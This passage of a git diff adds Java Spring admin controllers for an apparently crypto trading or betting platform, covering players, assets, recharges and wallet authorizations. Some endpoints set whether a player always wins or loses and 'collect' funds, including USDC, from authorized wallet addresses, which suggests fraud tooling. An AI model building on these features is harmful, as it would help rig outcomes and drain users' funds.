@Log(title = "返利活动明细", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAgentActivityInfo tAgentActivityInfo) + { + return toAjax(tAgentActivityInfoService.updateTAgentActivityInfo(tAgentActivityInfo)); + } + + /** + * 删除返利活动明细 + */ + @PreAuthorize("@ss.hasPermi('system:info:remove')") + @Log(title = "返利活动明细", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable String[] ids) + { + return toAjax(tAgentActivityInfoService.deleteTAgentActivityInfoByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java new file mode 100644 index 0000000..f5312c7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java @@ -0,0 +1,133 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.service.ITAppAddressInfoService; +import com.ruoyi.common.enums.WalletType; +import com.ruoyi.common.eth.EthUtils; +import com.ruoyi.common.trc.TronUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; + +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 钱包地址授权详情Controller + * + * @author ruoyi + * @date 2023-07-15 + */ +@RestController +@RequestMapping("/bussiness/info") +public class TAppAddressInfoController extends BaseController +{ + @Autowired + private ITAppAddressInfoService tAppAddressInfoService; + + /** + * 查询钱包地址授权详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:list')") + @GetMapping("/list") + public TableDataInfo list(TAppAddressInfo tAppAddressInfo) + { + startPage(); + List list = tAppAddressInfoService.selectTAppAddressInfoList(tAppAddressInfo); + return getDataTable(list); + } + + /** + * 导出钱包地址授权详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:export')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppAddressInfo tAppAddressInfo) + { + List list = tAppAddressInfoService.selectTAppAddressInfoList(tAppAddressInfo); + ExcelUtil util = new ExcelUtil(TAppAddressInfo.class); + util.exportExcel(response, list, "钱包地址授权详情数据"); + } + + /** + * 获取钱包地址授权详情详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) + { + return success(tAppAddressInfoService.selectTAppAddressInfoByUserId(userId)); + } + + /** + * 新增钱包地址授权详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:add')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppAddressInfo tAppAddressInfo) + { + return toAjax(tAppAddressInfoService.insertTAppAddressInfo(tAppAddressInfo)); + } + + /** + * 修改钱包地址授权详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:edit')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppAddressInfo tAppAddressInfo) + { + return toAjax(tAppAddressInfoService.updateTAppAddressInfo(tAppAddressInfo)); + } + + /** + * 删除钱包地址授权详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:info:remove')") + @Log(title = "钱包地址授权详情", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + return toAjax(tAppAddressInfoService.deleteTAppAddressInfoByUserIds(userIds)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:info:refresh')") + @Log(title = "刷新地址信息", businessType = BusinessType.UPDATE) + @PostMapping("/refresh") + public AjaxResult refresh(@RequestBody TAppAddressInfo tAppAddressInfo) + { + return toAjax(tAppAddressInfoService.refreshAddressInfo(tAppAddressInfo)); + } + @PreAuthorize("@ss.hasPermi('bussiness:info:collection')") + @Log(title = "归集", businessType = BusinessType.UPDATE) + @PostMapping("/collection") + public AjaxResult collection(@RequestBody TAppAddressInfo address) { + return AjaxResult.success(tAppAddressInfoService.collection(address)); + } + @PreAuthorize("@ss.hasPermi('bussiness:info:collection')") + @Log(title = "归集USDC", businessType = BusinessType.UPDATE) + @PostMapping("/collectionUsdc") + public AjaxResult collectionUsdc(@RequestBody TAppAddressInfo address) { + return AjaxResult.success(tAppAddressInfoService.collectionUsdc(address)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java new file mode 100644 index 0000000..9e5f5f9 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java @@ -0,0 +1,123 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.http.HttpUtil; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 玩家资产Controller + * + * @author ruoyi + * @date 2023-06-30 + */ +@RestController +@RequestMapping("/bussiness/asset") +public class TAppAssetController extends BaseController +{ + @Autowired + private ITAppAssetService tAppAssetService; + + /** + * 查询玩家资产列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:list')") + @GetMapping("/list") + public TableDataInfo list(TAppAsset tAppAsset) + { + + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppAsset.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppAssetService.selectTAppAssetList(tAppAsset); + return getDataTable(list); + } + + /** + * 导出玩家资产列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:export')") + @Log(title = "玩家资产", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppAsset tAppAsset) + { + List list = tAppAssetService.selectTAppAssetList(tAppAsset); + ExcelUtil util = new ExcelUtil(TAppAsset.class); + util.exportExcel(response, list, "玩家资产数据"); + } + + /** + * 获取玩家资产详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) + { + return success(tAppAssetService.selectTAppAssetByUserId(userId)); + } + + /** + * 新增玩家资产 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:add')") + @Log(title = "玩家资产", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppAsset tAppAsset) + { + return toAjax(tAppAssetService.insertTAppAsset(tAppAsset)); + } + + /** + * 修改玩家资产 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:edit')") + @Log(title = "玩家资产", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppAsset tAppAsset) + { + return toAjax(tAppAssetService.updateTAppAsset(tAppAsset)); + } + + /** + * 删除玩家资产 + */ + @PreAuthorize("@ss.hasPermi('bussiness:asset:remove')") + @Log(title = "玩家资产", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) + { + return toAjax(tAppAssetService.deleteTAppAssetByUserIds(userIds)); + } + + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java new file mode 100644 index 0000000..52eafeb --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java @@ -0,0 +1,95 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.Arrays; +import java.util.List; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.service.ITAppMailService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 1v1站内信Controller + * + * @author ruoyi + * @date 2023-07-18 + */ +@RestController +@RequestMapping("/bussiness/mail") +public class TAppMailController extends BaseController +{ + @Autowired + private ITAppMailService tAppMailService; + @Resource + private ITAppUserService tAppUserService; + + /** + * 查询1v1站内信列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:mail:list')") + @GetMapping("/list") + public TableDataInfo list(TAppMail tAppMail) + { + startPage(); + List list = tAppMailService.selectTAppMailList(tAppMail); + return getDataTable(list); + } + + + + /** + * 新增1v1站内信 + */ + @PreAuthorize("@ss.hasPermi('bussiness:mail:add')") + @Log(title = "1v1站内信", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppMail tAppMail) + { + String msg = ""; + if (tAppMail.getType().equals("1")){ + String[] userIds = tAppMail.getUserIds().split(","); + for (int i = 0; i < userIds.length; i++) { + TAppUser appUser = tAppUserService.getById(userIds[i]); + if (Objects.isNull(appUser)){ + msg+=userIds[i]+","; + } + } + } + if (StringUtils.isNotBlank(msg)){ + return AjaxResult.error("暂无此用户"+msg.substring(0,msg.length()-1)); + } + return toAjax(tAppMailService.insertTAppMail(tAppMail)); + } + + + /** + * 删除1v1站内信 + */ + @PreAuthorize("@ss.hasPermi('bussiness:mail:remove')") + @Log(title = "1v1站内信", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long ids) + { + return toAjax(tAppMailService.deleteTAppMailById(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java new file mode 100644 index 0000000..ad1f303 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java @@ -0,0 +1,163 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.service.ITAppRechargeService; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.annotation.RepeatSubmit; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.OrderBySetting; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import com.ruoyi.system.service.ISysConfigService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.math.BigDecimal; +import java.util.*; + +/** + * 用户充值Controller + * + * @author ruoyi + * @date 2023-07-04 + */ +@RestController +@RequestMapping("/bussiness/recharge") +public class TAppRechargeController extends BaseController +{ + private static final Logger log = LoggerFactory.getLogger(TAppRechargeController.class); + @Resource + private ITAppRechargeService tAppRechargeService; + + @Resource + private ITWithdrawService tWithdrawService; + @Resource + private WebSocketNotice webSocketNotice; + /** + * 获取用户充值详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + TAppRecharge appRecharge = tAppRechargeService.getById(id); + if(Objects.nonNull(appRecharge)){ + Date creatTime=appRecharge.getCreateTime(); + Map params=new HashMap<>(); + params.put("date",Objects.nonNull(creatTime)?creatTime.getTime():0L); + appRecharge.setParams(params); + } + return AjaxResult.success(appRecharge); + } + + /** + * 用户充值列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:list')") + @GetMapping("/list") + public TableDataInfo list(TAppRecharge tAppRecharge) { + PageDomain pageDomain = TableSupport.buildPageRequest(); + String orderBy = pageDomain.getOrderBy(); + if (StringUtils.isNotBlank(orderBy)){ + OrderBySetting.value="a."; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppRecharge.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + return getDataTable(tAppRechargeService.selectRechargeList(tAppRecharge)); + } + + @Log(title = "充值信息", businessType = BusinessType.EXPORT) + @PreAuthorize("@ss.hasPermi('bussiness:recharge:export')") + @PostMapping("/export") + public void export(HttpServletResponse response, TAppRecharge tAppRecharge) + { + PageDomain pageDomain = TableSupport.buildPageRequest(); + String orderBy = pageDomain.getOrderBy(); + if (StringUtils.isNotBlank(orderBy)){ + OrderBySetting.value="a."; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppRecharge.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tAppRechargeService.selectRechargeList(tAppRecharge); + ExcelUtil util = new ExcelUtil(TAppRecharge.class); + util.exportExcel(response, list, "用户数据"); + } + + /** + * 用户充值审核 + */ + @RepeatSubmit(interval = 5000, message = "请求过于频繁") + @PreAuthorize("@ss.hasPermi('bussiness:recharge:passOrder')") + @PostMapping("/passOrder") + public AjaxResult passOrder(@RequestBody TAppRecharge tAppRecharge) { + String msg = tAppRechargeService.passOrder(tAppRecharge); + if (StringUtils.isNotBlank(msg)){ + return AjaxResult.error(msg); + } + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService,2); + return AjaxResult.success(); + } + + /** + * 用户充值审核 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:failedOrder')") + @PostMapping("/failedOrder") + public AjaxResult failedOrder(@RequestBody TAppRecharge tAppRecharge) { + String msg = tAppRechargeService.failedOrder(tAppRecharge); + if (StringUtils.isNotBlank(msg)){ + AjaxResult.error(msg); + } + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService,2); + return AjaxResult.success(); + } + + /** + * 用户充值审核 + */ + @PreAuthorize("@ss.hasPermi('bussiness:recharge:list')") + @PostMapping("/getAllRecharge") + public AjaxResult getAllRecharge(Integer type) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + String parentId = ""; + if (user != null) { + String userType = user.getUserType(); + if (user.isAdmin() || ("0").equals(userType)) { + parentId = null; + } else { + parentId = user.getUserId().toString(); + } + } + return AjaxResult.success(tAppRechargeService.getAllRecharge(parentId,type)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java new file mode 100644 index 0000000..2c9132f --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java @@ -0,0 +1,285 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.domain.vo.UserBonusVO; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import io.swagger.annotations.ApiOperation; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 玩家用户Controller + * + * @author shenshen + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/bussiness/user") +public class TAppUserController extends BaseController { + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService appAssetService; + @Resource + private ITAppUserDetailService userDetailService; + @Resource + private ITWithdrawService tWithdrawService; + @Resource + private WebSocketNotice webSocketNotice; + /** + * 查询admin下的玩家用户列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:list')") + @GetMapping("/list") + public TableDataInfo list(TAppUser tAppUser) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUser.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tAppUserService.getTAppUserList(tAppUser); +// changeAppParentIds(list); + return getDataTable(list); + } + + protected void changeUserAppParentIds(TAppUser appUser){ + if(appUser != null && !StringUtils.isEmpty(appUser.getAppParentIds())){ + String []arr = appUser.getAppParentIds().split(","); + appUser.setAppParentIds(arr[arr.length -1]); + } + } + protected void changeAppParentIds(List list){ + for (TAppUser appUser:list) { + changeUserAppParentIds(appUser); + } + } + /** + * 导出玩家用户列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:export')") + @Log(title = "玩家用户", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TAppUser tAppUser) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUser.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tAppUserService.selectTAppUserList(tAppUser); + changeAppParentIds(list); + ExcelUtil util = new ExcelUtil(TAppUser.class); + util.exportExcel(response, list, "玩家用户数据"); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:getListByPledge')") + @GetMapping("/getListByPledge") + public TableDataInfo getListByPledge(TAppUser tAppUser) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tAppUser.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + List list = tAppUserService.getListByPledge(tAppUser); + changeAppParentIds(list); + return getDataTable(list); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:selectUnboundAppUser')") + @GetMapping("/selectUnboundAppUser") + public TableDataInfo selectUnboundAppUser(TAppUser tAppUser) { + startPage(); + List list = tAppUserService.selectUnboundAppUser(tAppUser); + changeAppParentIds(list); + return getDataTable(list); + } + + /** + * 获取玩家用户详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:query')") + @GetMapping(value = "/{userId}") + public AjaxResult getInfo(@PathVariable("userId") Long userId) { + Map map = new HashMap<>(); + + TAppUser user = tAppUserService.selectTAppUserByUserId(userId); +// changeUserAppParentIds(user); + TAppUserDetail one = userDetailService.getOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + TAppAsset asset = new TAppAsset(); + asset.setUserId(userId); + List tAppAssets = appAssetService.selectTAppAssetList(asset); + map.put("user", user); + map.put("deteil", one); + map.put("asset", tAppAssets); + return success(map); + } + + + /** + * 修改玩家用户 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:add')") + @Log(title = "玩家用户", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TAppUser tAppUser) { + return toAjax(tAppUserService.addTAppUser(tAppUser)); + } + + /** + * 修改玩家用户 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:edit')") + @Log(title = "玩家用户", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TAppUser tAppUser) { + return toAjax(tAppUserService.updateTAppUser(tAppUser)); + } + + /** + * 删除玩家用户 + */ + @PreAuthorize("@ss.hasPermi('bussiness:user:remove')") + @Log(title = "玩家用户", businessType = BusinessType.DELETE) + @DeleteMapping("/{userIds}") + public AjaxResult remove(@PathVariable Long[] userIds) { + return toAjax(tAppUserService.deleteTAppUserByUserIds(userIds)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:sendBous')") + @Log(title = "赠送彩金", businessType = BusinessType.UPDATE) + @PostMapping("/sendBous") + public AjaxResult sendBonus(@RequestBody UserBonusVO userBounsVO) { //获取操作后台用户 + + String username = getUsername(); + userBounsVO.setCreateBy(username); + appAssetService.sendBouns(userBounsVO); + return success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:user:subAmount')") + @Log(title = "人工上下分", businessType = BusinessType.UPDATE) + @PostMapping("/subAmount") + public AjaxResult subAmount(@RequestBody UserBonusVO userBounsVO) { //获取操作后台用户 + String username = getUsername(); + userBounsVO.setCreateBy(username); + int i = appAssetService.subAmount(userBounsVO); + if(i==0){ + return success(); + }else { + return error(); + } + + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:realName')") + @Log(title = "实名认证审核", businessType = BusinessType.UPDATE) + @PostMapping("/realName") + public AjaxResult realName(@RequestBody TAppUserDetail tAppUserDetail) { + tAppUserService.realName(tAppUserDetail); + //socket通知 + webSocketNotice.sendInfoAll(tWithdrawService,3); + return success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:realName')") + @Log(title = "重置实名认证", businessType = BusinessType.UPDATE) + @PostMapping("/reSetRealName") + public AjaxResult reSetRealName(@RequestBody TAppUserDetail tAppUserDetail) { + tAppUserService.reSetRealName(tAppUserDetail); + return success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:buff')") + @Log(title = "包输包赢设置", businessType = BusinessType.UPDATE) + @PostMapping("/buff") + public AjaxResult buff(@RequestBody TAppUser tAppUser) { + tAppUserService.updateTAppUser(tAppUser); + return success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:user:updatePwd')") + @Log(title = "重置登录密码", businessType = BusinessType.UPDATE) + @PostMapping("/updateLoginPwd") + public AjaxResult updateLoginPwd(@RequestBody TAppUser tAppUser) { + tAppUser.setLoginPassword(SecurityUtils.encryptPassword(tAppUser.getLoginPassword())); + tAppUserService.updateTAppUser(tAppUser); + return success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:user:updatePwd')") + @Log(title = "重置交易密码", businessType = BusinessType.UPDATE) + @PostMapping("/updateTransPwd") + public AjaxResult updateTransPwd(@RequestBody TAppUserDetail tAppUser) { + TAppUserDetail tAppUserDetai = tAppUserService.selectUserDetailByUserId(tAppUser.getUserId()); + String userTardPwd = tAppUser.getUserTardPwd(); + if (!StringUtils.isEmpty(userTardPwd)) { + tAppUserDetai.setUserTardPwd(SecurityUtils.encryptPassword(userTardPwd)); + } + userDetailService.update(tAppUserDetai, new UpdateWrapper().eq("user_id", tAppUser.getUserId())); + return success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:realName')") + @Log(title = "重置交易密码", businessType = BusinessType.UPDATE) + @PostMapping("/updateRealName") + public AjaxResult updateRealName(@RequestBody TAppUserDetail tAppUser) { + TAppUserDetail tAppUserDetai = tAppUserService.selectUserDetailByUserId(tAppUser.getUserId()); + + userDetailService.update(tAppUserDetai, new UpdateWrapper().eq("user_id", tAppUser.getUserId())); + return success(); + } + + + @PreAuthorize("@ss.hasPermi('bussiness:user:updateUserAppIds')") + @Log(title = "修改玩家用户上级代理", businessType = BusinessType.UPDATE) + @PutMapping("/updateUserAppIds") + public AjaxResult updateUserAppIds(Long appUserId, Long agentUserId) { + return toAjax(tAppUserService.updateUserAppIds(appUserId,agentUserId)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:user:updateBlackStatus')") + @Log(title = "修改用户拉黑状态", businessType = BusinessType.UPDATE) + @PutMapping("/updateBlackStatus") + public AjaxResult updateBlackStatus (@RequestBody TAppUser tAppUser){ + return toAjax(tAppUserService.updateBlackStatus(tAppUser)); + } + +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java new file mode 100644 index 0000000..f91fe1d --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TAppUserDetail; +import com.ruoyi.bussiness.service.ITAppUserDetailService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 用户详细信息Controller + * + * @author ruoyi + * @date 2023-07-26 + */ +@RestController +@RequestMapping("/bussiness/detail") +public class TAppUserDetailController extends BaseController +{ + @Autowired + private ITAppUserDetailService tAppUserDetailService; + + /** + * 查询用户详细信息列表(实名认证) + */ + 